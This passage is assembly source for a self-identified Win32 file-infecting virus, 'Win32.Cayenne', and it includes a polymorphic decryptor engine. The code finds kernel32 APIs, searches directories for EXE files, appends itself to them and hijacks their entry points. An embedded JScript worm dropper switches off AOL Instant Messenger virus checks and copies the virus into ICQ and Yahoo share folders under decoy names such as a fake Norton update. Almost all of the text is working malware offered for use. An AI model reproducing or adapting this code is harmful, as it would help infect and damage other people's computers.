ciORIwrite_imm: test  dl, dl
                jz    ciORIimm8
                test  dl, OPSIZE_16
                jnz   ciORIimm16
                pop   eax
                stosd
                jmp   ciORIexit
ciORIimm16:     pop   eax
                stosw
                jmp   ciORIexit
ciORIimm8:      pop   eax
                stosb
ciORIexit:      mov   [esp], edi
                popad
                ret
ciOpRMImm       endp

ciCreateOperand proc
                pushad
                mov   eax, ecx
                and   al, MOD_REG
                cmp   al, MOD_REG          ; R/M operand = register?
                jz    COcreate_mr          ; yes, directly to ciCreateMODRM
                test  cl, MOD_DIRECT       ; direct addressing?
                jnz   COno_disp
                mov   eax, esi
                test  eax, eax             ; displacement = 0?
                jz    COno_disp            ; don't use displacement
                or    cl, MOD_DISP32       ; set 32-bit displacement
                test  cl, MOD_DIRECT
                jnz   COno_disp
                movsx eax, al
                cmp   eax, esi
                jne   COno_disp
                xor   cl, MOD_REG
COno_disp:      test  ch, ch               ; second index register?
                jz    COcreate_mr          ; no, we don't need SIB
                or    cl, MOD_SIB          ; set SIB flag
COcreate_mr:

                shl   ebx, 03h             ; register
                ; let's check if operand is register

                mov   eax, ecx
                and   al, MOD_REG          ; clear bits 0-5
                xor   al, MOD_REG          ; invert bit 6 & 7
                jnz   CMblah1              ; memory operand.
                xchg  eax, ecx
                and   al, 0C7h
                or    eax, ebx
                stosb                      ; directly create it!
                xor   eax, eax             ; return MOD_NODISP
                jmp   CMexit1
CMblah1:        mov   eax, ecx
                and   al, 0C7h
                cmp   al, REG_EBP          ; EBP and no displacement?
                jnz   CMblah2
                or    cl, MOD_DISP8        ; use 8-bit displacement
CMblah2:        mov   eax, ecx
                and   al, 07h or MOD_DIRECT or MOD_SIB
                cmp   al, REG_ESP          ; ESP is index reg?
                jnz   CMblah3              ; nope
                or    eax, ebx
                and   cl, MOD_REG
                or    eax, ecx
                stosb
                mov   byte ptr [edi], 24h
                inc   edi
                and   al, MOD_REG
                jmp   CMexit1
CMblah3:        mov   eax, ecx
                test  al, MOD_DIRECT       ; direct addressing?
                jz    CMblah4              ; nope
                and   cl, 38h
                or    cl, REG_EBP          ; no displacement and EBP
CMblah4:        mov   eax, ecx
                test  al, MOD_SIB          ; do we have SIB byte?
                jz    CMblah6              ; no SIB byte

                ; set ESP as index register (SIB)

                and   al, 0C0h or MOD_SIB or MOD_DIRECT
                or    al, REG_ESP
                and   cl, 0C7h or MOD_SIB or MOD_DIRECT
CMblah6:        and   al, 0C7h
                or    eax, ebx
                stosb
                mov   eax, ecx
                and   al, 0C7h or MOD_SIB or MOD_DIRECT
CMexit1:
                ; created MOD/RM byte. now let's do the displacement

                test  eax, eax             ; no displacement?
                jz    COexit               ; yes, exit
                test  al, MOD_SIB          ; SIB byte?
                jz    COblah               ; no, don't store SIB byte
                shl   ch, 03h              ; creatin' SIB byte
                push  eax                  ; preserving addressing mode
                and   al, REG_RND - 1      ; mask base register
                or    al, ch
                stosb                      ; store SIB byte
                pop   eax
COblah:         test  al, MOD_DIRECT       ; direct addressing?
                jnz   COdirect             ; yes, store VA & exit
COblah2:        test  al, MOD_DISP8        ; do we have 8-bit displacement?
                jz    COblah3              ; no, perform next check
                xchg  esi, eax
                stosb
                jmp   COexit
COblah3:        test  al, MOD_DISP32
                jz    COexit
COdirect:       xchg  esi, eax
                stosd
COexit:         mov   [esp], edi
                popad
                ret
ciCreateOperand endp
; initialized data
;                db    '[ind00r] polymorphic engine by slurp', 0

; end of ipe32

Data:
 FileHandle  dd 0h
 KernelMZ    dd 0h
 counter     dw 0h
 db 'Win32.Cayenne by Necronomikon[DCA]',0
 TempAPI     dd 0h
 KernelPE    dd 0h
 NTableVA    dd 0h
 TempApisearch3 dd 0h
 WormFile2   db 'C:\cayenne.txt.pif',0
 ATableVA    dd 0h
 NTableTemp  dd 0h
 NewEIP      dd 0h
 AlignReg2   dd 0h
 Shell32     db 'Shell32.dll',0
 XShellExecuteA         dd 0h

; decryptor instructions generator addresses (relative to idelta)
Generatorz      dd    offset iProcLdPtr - idelta     ; load pointer
                dd    offset iProcLdCnt - idelta     ; load counter
                dd    offset iProcLdKey - idelta     ; load key
                dd    offset iProcDecData - idelta   ; decrypt data
                dd    offset iProcIncKey - idelta    ; increment key
                dd    offset iProcIncPtr - idelta    ; increment pointer
                dd    offset iProcDecCnt - idelta    ; decrement counter
                dd    offset iProcFPUFool - idelta   ; neat stuff :O
; junk instruction generator addresses (relative to idelta)

JunkGen         dd    offset iMemJunk - idelta
                dd    offset iRegJunk - idelta
JUNKGEN_CNT     equ   02h

; decryptor procedures are called in this order:
CallOrder1      db    LOAD_POINTER               ; 
                db    LOAD_COUNTER               ;  these procedures can
                db    LOAD_KEY                   ;  be mixed.
CALL_ORDER_1    equ   $ - CallOrder1
                db    DECRYPT_DATA      ; stays at its place
CALL_ORDER_2    equ   $ - CallOrder1
CallOrder2      db    INC_KEY                    ; 
                db    INC_POINTER                ;  these procedures can
                db    DEC_COUNTER                ;  be mixed.
                db    FPU_FOOL                   ; 
                db    JUNK_PROCS dup (JUNK_PROC) ; 

; procedure order (1 byte for each procedures that will be mixed randomly)
ProcedureOrder  db    LOAD_POINTER
                db    LOAD_COUNTER
                db    LOAD_KEY
                db    DECRYPT_DATA
                db    INC_KEY
                db    INC_POINTER
                db    DEC_COUNTER
                db    FPU_FOOL
                db    JUNK_PROCS dup (JUNK_PROC)
PROC_ORDER      equ   $ - ProcedureOrder

; registerz
Registers       equ   $
preg            db    REG_ECX           ; pointer register
creg            db    REG_EDX           ; counter register
kreg            db    REG_EAX           ; key register
junkreg1        db    REG_EBX           ; junk register 1
junkreg2        db    REG_ESI           ; junk register 2
junkreg3        db    REG_EDI           ; junk register 3
USED_REGS       equ   $ - Registers

RandomConst     dd    RANDOM_SEED       ; random seed constant (unchanged
                                        ; during runtime)
idelta          equ   $                 ; delta offset (held in ebp)

; uninitialized data

RandomSeed      dd    ?                 ; random seed (changed)

InitValues      equ   $                 ; some values we have to initialize
JunkSpSize      dd    ?                 ; size of junk space
JunkSpRVA       dd    ?                 ; address of junk space
DecryptRVA      dd    ?                 ; address of encrypted code
CryptSize       dd    ?                 ; size of crypted code
EncryptRVA      dd    ?                 ; address of code to encrypt
CryptKey        dd    ?                 ; encryption key
KeyIncrement    dd    ?                 ; key incrementation
CryptType       db    ?                 ; encryption type (byte)
KeyIncType      db    ?                 ; key increment type (byte)

ProcParameters   db    MAX_PROCS + 1 dup (?)
ProcAddress      dd    MAX_PROCS + 1 dup (?)

JunkProcs       db    ?                 ; number of junk procedures
ProcCount       db    ?                 ; number of procedures

CurrentProc     db    ?                 ; identifies current procedure when
                                        ; in the generator loop.
InLoop          db    ?                 ; boolean, if true we are
                                        ; generating decryptor loop

nojunk          db    ?

WormDropper:
 db '//IM-Worm.Cayenne',13,10
db '//(c)by Necronomikon[DCA]',13,10
db 'var N1="Curry_Chicken.txt.pif"',13,10
db 'var N2="hotstuff.jpg.exe"',13,10
db 'var N3="pepperhouse.gif.exe"',13,10
db 'var N4="Norton_AntiVirus_Update.exe"',13,10
db 'var N5="Necronomikon_is_back.doc.pif"',13,10
db 'var WS=WScript.CreateObject("WScript.Shell")',13,10
db 'var fso=WScript.CreateObject("Scripting.FileSystemObject")',13,10
db 'var pdir = WS.RegRead ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ProgramFilesDir")',13,10
db 'var aimsn = WS.RegRead ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\Login\\screenname")',13,10
db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\dirdownload","c:\\downloads")',13,10
db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\noviruscheck","1")',13,10
db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\noviruswarndlg","1")',13,10
db 'WS.RegWrite("HKCU\\Software\\Mirabilis\\ICQ\\Agent\\Apps\\cayenne\\Path","WINDIR%\\cayenne.exe")',13,10
db 'WS.RegWrite("HKCU\\Software\\Mirabilis\\ICQ\\Agent\\Apps\\cayenne\\Enable","Yes")',13,10
db 'fso.CreateFolder ("c:\\downloads")',13,10
db 'var copyme=new Array(N1,N2,N3,N4,N5)',13,10
db 'var Rndphiles=copyme[Math.round(Math.random()*4)];',13,10
db 'phile = fso.GetFile("c:\\cayenne.txt.pif")',13,10
db 'if (fso.FileExists("c:\\cayenne.txt.pif"))',13,10
db '{',13,10
db 'phile.Copy("c:\\downloads\\"+Rndphiles,true);',13,10
db '}',13,10
db 'if (fso.folderexists(pdir+"\\icq\\shared files\\"))',13,10
db '{',13,10
db 'phile.Copy(pdir+"\\icq\\shared files\\"+Rndphiles,true);',13,10
db '}',13,10
db 'if (fso.folderexists(pdir+"\\icqlite\\shared files\\"))',13,10
db '{',13,10
db 'phile.Copy(pdir+"\\icqlite\\shared files\\"+Rndphiles,true);',13,10
db '}',13,10
db 'if (fso.folderexists(pdir+"\\Yahoo!\\Companion\\Download\\"))',13,10
db '{',13,10
db 'phile.Copy(pdir+"\\Yahoo!\\Companion\\Download\\"+Rndphiles,true);',13,10
db '}',13,10
db 'phile.Delete();',13,10
 EndWormDropper:
 WormLen     equ ( offset EndWormDropper - offset WormDropper )

 AlignReg1   dd 0h
 ShellExApi  db 'ShellExecuteA',0
 OTableVA    dd 0h
 Write       dd 0h
 OldEIP      dd 0h
 InfCounter  dd 0h

 APINames:
 dd 'Co'+'py'+'Fi'+'le'+'A'*100h
 dd 'Un'+'ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h
 dd 'Cl'+'os'+'eH'+'an'+'dl'+'e'*100h
 dd 'Fi'+'nd'+'Cl'+'os'+'e'*100h
 dd 'Se'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA'
 dd 'Ge'+'tW'+'in'+'do'+'ws'+'Di'+'re'+'ct'+'or'+'yA'
 dd 'Ge'+'tP'+'ro'+'cA'+'dd'+'re'+'ss'
 dd 'Cr'+'ea'+'te'+'Fi'+'le'+'Ma'+'pp'+'in'+'gA'
 dd 'Ge'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA'
 dd 'Ge'+'tS'+'ys'+'te'+'mD'+'ir'+'ec'+'to'+'ry'+'A'*100h
 dd 'Fi'+'nd'+'Fi'+'rs'+'tF'+'il'+'eA'
 dd 'Lo'+'ad'+'Li'+'br'+'ar'+'yA'
 dd 'Ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h
 dd 'Fi'+'nd'+'Ne'+'xt'+'Fi'+'le'+'A'*100h
 dd 'Wr'+'it'+'eF'+'il'+'e'*100h
 dd 'Cr'+'ea'+'te'+'Fi'+'le'+'A'*100h

 Trash1      dd 0h
 OldDirectory db 255d dup (0h)
 DirectoryBuffer db 255d dup (0h)
 FILETIME                STRUC
 FT_dwLowDateTime        dd       ?
 FT_dwHighDateTime       dd       ?
 FILETIME ENDS

 WIN32_FIND_DATA         label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

 filemask    db '*.Exe',0
 WormFile    db 'notepad.exe',0
 WormName    db 'C:\cayenne.js', 0
 MapAddress  dd 0h
 NewSize     dd 0h
 OldBase     dd 400000h
 MapHandle   dd 0h
 FindHandle  dd 0h

 APIOffsets:
 XCopyFileA             dd 0h
 XUnmapViewOfFile       dd 0h
 XCloseHandle           dd 0h
 XFindClose             dd 0h
 XSetCurrentDirectoryA  dd 0h
 XGetWindowsDirectoryA  dd 0h
 XGetProcAddress        dd 0h
 XCreateFileMappingA    dd 0h
 XGetCurrentDirectoryA  dd 0h
 XGetSystemDirectoryA   dd 0h
 XFindFirstFileA        dd 0h
 XLoadLibraryA          dd 0h
 XMapViewOfFile         dd 0h
 XFindNextFileA         dd 0h
 XWriteFile             dd 0h
 XCreateFileA           dd 0h

GetOtherApis:
 push ecx 
 and eax, 34475376d                   
 push edx 
 push edx
 call dword ptr [ebp+XLoadLibraryA]
                                      
 push eax
 pop edx
 pop ecx 
 pop edx 
GetOtherApiLoop:
 push ecx 
 shr eax, 26d                  
 push edx 
 push ecx
 push edx
 call dword ptr [ebp+XGetProcAddress]
 pop ecx 
 pop edx 
 mov dword ptr [esi], eax
                                        
 add esi, 4d
 sub ebx, 1
 test ebx, ebx
 jz GetOtherApiEnd
GetOtherApiLoop2:
                                       
 inc ecx
 cmp byte ptr [ecx], 0
 je GetOtherApiLoop2
                                        
 inc ecx
 jmp GetOtherApiLoop
GetOtherApiEnd:
ret

SearchAPI1:                             ; Procedure to retrieve API Offsets
 pushad


                                        ; clear the counter
 mov word ptr [ebp+counter], 0h


                                        
 mov edx, ( -1d + 1d )
 sub edx, 1d
 and edx, dword ptr [ebp+NTableVA]


SearchNextApi1:                         ; search for the API's
 mov dword ptr [ebp+NTableTemp], 0
 xor dword ptr [ebp+NTableTemp], edx
                                        ; mov eax, -1
 mov eax, ( -1d - 25d )
 add eax, 25d
 and eax, dword ptr [ebp+KernelMZ]
 add eax, dword ptr [edx]
                                        
 mov edx, eax
                                        
 push edx
 pop esi
 push esi
 mov dword ptr [ebp+TempApisearch3], 0
 add dword ptr [ebp+TempApisearch3], ecx
 cld
                                       
 mov eax, dword ptr [ecx]
 LoopChsksm:
                                        
 xor ebx, ebx
 mov bl, byte ptr [esi]
                                        
 inc esi
 clc 
 sal bx,8d
 sub eax, ebx
 cmp bx, 0
 je LoopConti
                                        
 xor ebx, ebx
 mov bl, byte ptr [esi]
 sub eax, ebx
                                        
 sub esi, -1d
 cmp bx, 0
 jne LoopChsksm
LoopConti:
 dec eax
 inc eax
 jz FoundApi1

ApiNotFound:                            ; we did not find it :(
 pop esi
                                        
 mov ecx, ( -1d + 35d )
 sub ecx, 35d
 and ecx, dword ptr [ebp+TempApisearch3]
                                        
 mov edx, 0
 add edx, -1d
 and edx, dword ptr [ebp+NTableTemp]
                                        
 inc edx
 add edx, 3d
 inc word ptr [ebp+counter]
 cmp word ptr [ebp+counter], 2000h
 je NotFoundApi1
 jmp SearchNextApi1

FoundApi1:                              
 pop ecx
                                        ; retrieve the offset
 movzx edx, word ptr [ebp+counter]
 adc ebx, ecx                          
                                        
 shl edx, 1                             
 add edx, dword ptr [ebp+OTableVA]
 or eax, ecx                            
 push edx
 pop eax
 movzx edx, word ptr [eax]
 sal edx, 2h
 add edx, dword ptr [ebp+ATableVA]
                                        
 mov eax, dword ptr [edx]
 add eax, dword ptr [ebp+KernelMZ]
 mov dword ptr [ebp+TempAPI], -1
 and dword ptr [ebp+TempAPI], eax
 popad
ret

NotFoundApi1:
                                        
 pop ebx
 popad
 jmp ExecuteHost


NoKernel:
                                        ; store old EIP and ImageBase
 push dword ptr [ebp+OldEIP]
 pop eax
 push eax
 pop dword ptr [ebp+retEIP]
 mov ebx, ( -1d + 27d )
 sub ebx, 27d
 and ebx, dword ptr [ebp+OldBase]
 mov dword ptr [ebp+retBase], 0
 xor dword ptr [ebp+retBase], ebx
 adc ecx, edx                         

ExecuteHost:                            ; Start the infected File

                                        ; check if we are first generation
 add ebp, -1
 add ebp, 1
 jz FirstGenHost
 mov ebx,12345678h
 org $-4
 retBase dd 0h
 add ebx,12345678h
 org $-4
 retEIP dd 0h
 jmp ebx

CreateWorm:
                                        ; get Current Directory
 lea ebx, [ebp+OldDirectory]
 xchg ebx, edi

 push edi
                                        
 mov ebx, 0
 add ebx, 255d
 push ebx
 call dword ptr [ebp+XGetCurrentDirectoryA]
 push 255d
 mov ebx, offset DirectoryBuffer
 add ebx, ebp

 push ebx
 call dword ptr [ebp+XGetWindowsDirectoryA]
 lea edx, [ebp+DirectoryBuffer]
 xchg ebx, edx

 push ebx
 call dword ptr [ebp+XSetCurrentDirectoryA]
                                        ; check if the file exists and infect
 lea eax, [ebp+WormFile]
 xchg ecx, eax

 call FindFirstFileProc
 inc eax
 jz NoWorm
 call InfectFile
                                        ; copy file to new location
 push 1 
 lea edx, [ebp+WormFile2]
 xchg edx, ecx

 push ecx
 lea edi, [ebp+WormFile]
 xchg esi, edi

 push esi
 call dword ptr [ebp+XCopyFileA]
NoWorm:                                 ; restore old directory
 lea ebx, [ebp+OldDirectory]
 xchg edi, ebx

 push edi
 call dword ptr [ebp+XSetCurrentDirectoryA]
ret


KernelSearchStart:
                                        
 mov edi, 0bff70000h
 call GetKernel32
 jnc GetApis
 mov edi, 077e00000h
 call GetKernel32
 jnc GetApis
 mov edi, 077f00000h
 call GetKernel32
 jnc GetApis

 jmp NoKernel
GetKernel32:
 pushad
                                     
 mov ebx, 10344d
 sub ebx, 10344d

 lea eax, dword ptr [esp-8h]
 xchg eax, dword ptr fs:[ebx]
 lea ebx, [ebp+GetKernel32Exception]

 push ebx
 push eax

                                        
 add edi, 1d
GetKernelLoop:
                                       
 mov eax, 0
 dec edi
 sal ebx, 30d                           
 mov ax, word ptr [edi+03ch]
 cmp ax,0f800h
 je GetKernelLoop
 cmp edi, dword ptr [edi+eax+34h]
 jnz GetKernelLoop
 mov dword ptr [ebp+KernelMZ], -1
 and dword ptr [ebp+KernelMZ], edi
 mov edx, [edi+3Ch]
 add edx, edi
 mov [KernelPE+ebp], edx
 mov edi, dword ptr [ebp+KernelPE]
                                        ; get Export-Table
 mov eax, [edi+78h]
 add eax, [ebp+KernelMZ]
                                       
 inc eax
 add eax, 27d
                                        ; get ATableVA
 mov edi, dword ptr [eax]
 add edi, [ebp+KernelMZ]
 mov dword ptr [ebp+ATableVA], edi
                                        
 add eax, 4d
                                        ; get NTableVA
 mov edi, dword ptr [eax]
                                       
 dec eax
 add eax, 5d
 and ebx, eax                           
 add edi, [ebp+KernelMZ]
 sar ecx, 23d                           
 mov dword ptr [ebp+NTableVA], edi
                                        ; get OTableVA
 mov edi, dword ptr [eax]
 add edi, [ebp+KernelMZ]
 mov dword ptr [ebp+OTableVA], edi
                                        
 and edx, 0

 pop dword ptr fs:[edx]
 pop ebx
 popad
 clc
ret

GetKernel32Exception:
                                        
 mov ecx, 15297d
 sub ecx, 15297d

 mov eax, dword ptr fs:[ecx]
 mov esp, dword ptr [eax]
GetKernel32NotFound:
                                       
 and eax, 0

 pop dword ptr fs:[eax]
 pop ebx
 popad
 stc
ret

InfectEXE:                              ; infect an exe file
                                       
 and edx, 0
 add edx, dword ptr [ebp+MapAddress]
                                        ; retrieve PE - Header
 mov ecx, edx
 add ecx, [edx+3Ch]
                                        ; get File Alignment
 mov edx, [ecx+3Ch]
 push dword ptr [ebp+WFD_nFileSizeLow]
 pop ecx
                                        ; calculate new size
 add ecx, VirusSize
 mov dword ptr [ebp+AlignReg2], 0
 add dword ptr [ebp+AlignReg2], edx
 mov dword ptr [ebp+AlignReg1], 0
 xor dword ptr [ebp+AlignReg1], ecx
 call Align
                                       
 push 0
 pop ecx
 xor ecx, dword ptr [ebp+AlignReg1]
                                        ; unmap file and map it again with new size
 push ecx
 pop dword ptr [ebp+NewSize]
 pushad
 Call UnMapFile2
 popad
 mov dword ptr [ebp+WFD_nFileSizeLow], -1
 and dword ptr [ebp+WFD_nFileSizeLow], ecx
 call CreateMap
 jc NoEXE
                                        
 mov esi, 22859d
 sub esi, 22859d
 xor esi, dword ptr [ebp+MapAddress]
                                        ; retrieve PE - Header again
 mov edi, esi
 add edi, dword ptr [esi+3Ch]
 adc ecx, edx                           
                                        ; infect by increasing the last section
                                   
 sub esi, esi
 add esi, edi
                                        ; get last section
 movzx ecx, word ptr [esi+06h]
 sub ecx, 1
 imul ecx, ecx, 28h
 add edi, ecx
                                       
 inc edi
 add edi, 119d
 mov edx, dword ptr [esi+74h]
 shl edx, 3
 add edi, edx
                                        ; get old Entrypoint
 mov eax, dword ptr [esi+28h]
 mov dword ptr [ebp+OldEIP], 0
 xor dword ptr [ebp+OldEIP], eax
 mov ecx, dword ptr [esi+34h]
 push ecx
 pop dword ptr [ebp+OldBase]
 mov ecx, [edi+10h]
                                        
 mov edx, ecx
 add ecx, [edi+14h]
 push ecx
 mov eax, edx
 add edi, 0Ch
 add eax, [edi]
 sub edi, 0Ch
 mov dword ptr [ebp+NewEIP], -1
 and dword ptr [ebp+NewEIP], eax
                                        ; save new enty point in file
 mov dword ptr [esi+28h], 0
 add dword ptr [esi+28h], eax
 sbb ebx, 21d                           
                                       
 mov eax, 0

 add eax, [edi+10h]
 push eax
                                        ; calculate new section size
 push dword ptr [esi+3Ch]
 add eax, VirusSize
 pop dword ptr [ebp+AlignReg2]
 mov dword ptr [ebp+AlignReg1], 0
 add dword ptr [ebp+AlignReg1], eax
 call Align
                                       
 push -1d
 pop eax
 and eax, dword ptr [ebp+AlignReg1]
 mov dword ptr [edi+10h], eax
 pop eax
 add eax, VirusSize
 mov dword ptr [edi+08h], eax
 mov eax, dword ptr [edi+0Ch]
 add eax, dword ptr [edi+10h]
 mov dword ptr [esi+50h], 0h
 add dword ptr [esi+50h], eax
                                        ; set write, read and code flag
 or dword ptr [edi+24h], 0A0000020h
                                        ; set infection mark
 mov dword ptr [esi+4Ch], 'Caye'
                                        ; Append Virus
 pop edi
 lea ecx, [ebp+Virus]
 xchg ecx, esi

 mov ebx, VirusSize
 add edi, dword ptr [ebp+MapAddress]

AppendLoop:
 movsb
 dec ebx
 jnz AppendLoop
                                        ; decrease Infection Counter
                                        
 mov eax, ( -1d + 24d )
 sub eax, 24d
 and eax, dword ptr [ebp+InfCounter]
 add eax, -1
 push eax
 xor ebx, 72855351d                     
 pop dword ptr [ebp+InfCounter]
 clc
ret

NoEXE:
 stc
ret

InfectCurDir:                           ; Infect the current directory
 mov [ebp+InfCounter], 60d
 lea ecx, [ebp+filemask]

                                        ; Find File to infect
 call FindFirstFileProc
 inc eax
 jz EndInfectCurDir

InfectCurDirFile:                       ; Infect the file
 call InfectFile
                                        ; Check Infection Counter
 push dword ptr [ebp+InfCounter]
 pop edx
 or edx, edx
 jz EndInfectCurDir
                                        ; find more Files
 call FindNextFileProc
 test eax, eax
 jnz InfectCurDirFile

EndInfectCurDir:
                                        ; Close the Handle
 push dword ptr [ebp+FindHandle]
 pop ebx
 push ebx
 call dword ptr [ebp+XFindClose]

ret
adc ecx, 23658773d                    

InfectFile:                             ; Infect a file
                                        ; check for minimum filesize
                                        
 mov eax, 13514d
 sub eax, 13514d
 xor eax, dword ptr [ebp+WFD_nFileSizeLow]
 cmp eax, 20000d
 jbe NoInfection
 call OpenFile                          ; open the file
 jc NoInfection
                                        ; check for EXE File
                                      
 push 0
 pop ebx
 add ebx, dword ptr [ebp+MapAddress]
                                        ; check for ZM
 movzx edx, word ptr [ebx]
 xor edx, 'ZM'
 jz Goodfile
                                        
 push 59672d
 pop ecx
 test ecx, ecx
 jnz Notagoodfile
Goodfile:
 cmp word ptr [ebx+3Ch], 0h
 jne _Notagoodfile
 jmp Notagoodfile
_Notagoodfile:
                                        
 mov eax, 0
 add eax, dword ptr [ebx+3Ch]
                                        ; check if header lies inside the file
 cmp eax, dword ptr [ebp+WFD_nFileSizeLow]
 ja Notagoodfile
 add eax, ebx
                                        ; check for PE Header
                                        ; check for EP
 movzx edx, word ptr [eax]
 xor edx, 'EP'
 jz Goodfile2
 jmp Notagoodfile

Goodfile2:
                                        ; check for previous Infection
 cmp dword ptr [eax+4Ch], 'Caye'
 jnz yNotagoodfile
 jmp Notagoodfile
yNotagoodfile:
 call InfectEXE                         ; Infect the file
 jc NoInfection

Notagoodfile:
 call UnMapFile

NoInfection:
ret




CryptEnd:
EndVirus:


.code                                   
FakeCode:

 push offset VirusCode

 ret


FirstGenHost:                           

 mov edx, 0
 push edx
 call ExitProcess



end FakeCode